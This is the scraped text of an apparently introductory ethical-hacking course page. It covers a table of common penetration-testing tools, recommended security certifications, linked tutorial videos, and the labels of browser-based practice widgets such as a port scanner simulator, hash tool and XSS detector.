Hover Before Clicking

Check link destinations before clicking

πŸ’Ύ
Unknown USB Devices

Never connect unknown storage devices

🎬 Video: Real Social Engineering in Action

Social Engineering Demonstration
Watch This Hacker Break Into a Company
CNN Business
// Module 10

Professional Tools & Certifications

The complete pentester toolkit and career advancement paths.

πŸ› οΈ The Pentester's Arsenal

ToolCategoryDescription
Burp SuiteWebIntercepting proxy and comprehensive web vulnerability scanner
WiresharkNetworkDeep packet inspection and network protocol analyzer
NmapScanningNetwork discovery and security auditing
MetasploitExploitationThe most widely used exploitation framework
John the RipperPasswordsVersatile CPU-based password cracking
HashcatPasswordsGPU-accelerated password recovery
HydraPasswordsFast online login brute-forcer (SSH, HTTP, FTP...)
sqlmapWebAutomatic SQL injection detection and exploitation
Gobuster/ffufWebDirectory and file brute-forcing tools
Aircrack-ngWiFiComplete WiFi security auditing suite
BloodHoundActive DirectoryAD attack path mapping and visualization
GhidraReverse EngineeringNSA's open-source software reverse engineering tool
VolatilityForensicsAdvanced memory forensics framework
CrackMapExecNetworkSwiss army knife for pentesting Windows/AD

πŸ“œ Recommended Certifications

Entry Level

πŸ… CompTIA Security+

The foundational cybersecurity certification. Great starting point β€” covers networks, threats, and security concepts.

Entry Level

πŸ… eJPT (eLearnSecurity)

Junior Penetration Tester. Practical, hands-on exam that tests real-world skills on a live network.

Professional

πŸ… CEH (EC-Council)

Certified Ethical Hacker β€” the most widely recognized ethical hacking certification globally.

Advanced

πŸ… OSCP (OffSec)

Offensive Security Certified Professional β€” the gold standard. 24-hour hands-on practical exam.

🎬 Video: Burp Suite Basics

Burp Suite Tutorial
Burpsuite Basics (FREE Community Edition)
John Hammond

🎬 Video: Wireshark for Beginners

Wireshark Tutorial
Wireshark Tutorial for Beginners
Anson Alexander
// Lab

Interactive Hacking Lab

Practice hacking safely right in your browser β€” no installation needed.

πŸ“‘ Port Scanner Simulator

πŸ” Port Scanner
Target:
Scan Type:

πŸ” Password Strength Analyzer

πŸ›‘οΈ Password Analyzer
Password:
Type a password to analyze...

#️⃣ Hash Generator & Identifier

πŸ”‘ Hash Tool
Text:

πŸ” Hash Identifier:

πŸ”„ Caesar Cipher (Encoder/Decoder)

πŸ“œ Caesar Cipher
Text:
Shift:

πŸ•·οΈ XSS Payload Detector

⚑ XSS Detector

Enter a user input to detect if it contains malicious XSS payloads:

πŸ“¦ Base64 / URL Encoder & Decoder

πŸ”„ Encoding Tool

🌐 Subnet Calculator

πŸ“Š Subnet Calculator
IP / CIDR:
// Final Assessment

Final Exam

Prove what you've learned. You need 70% to earn your certificate.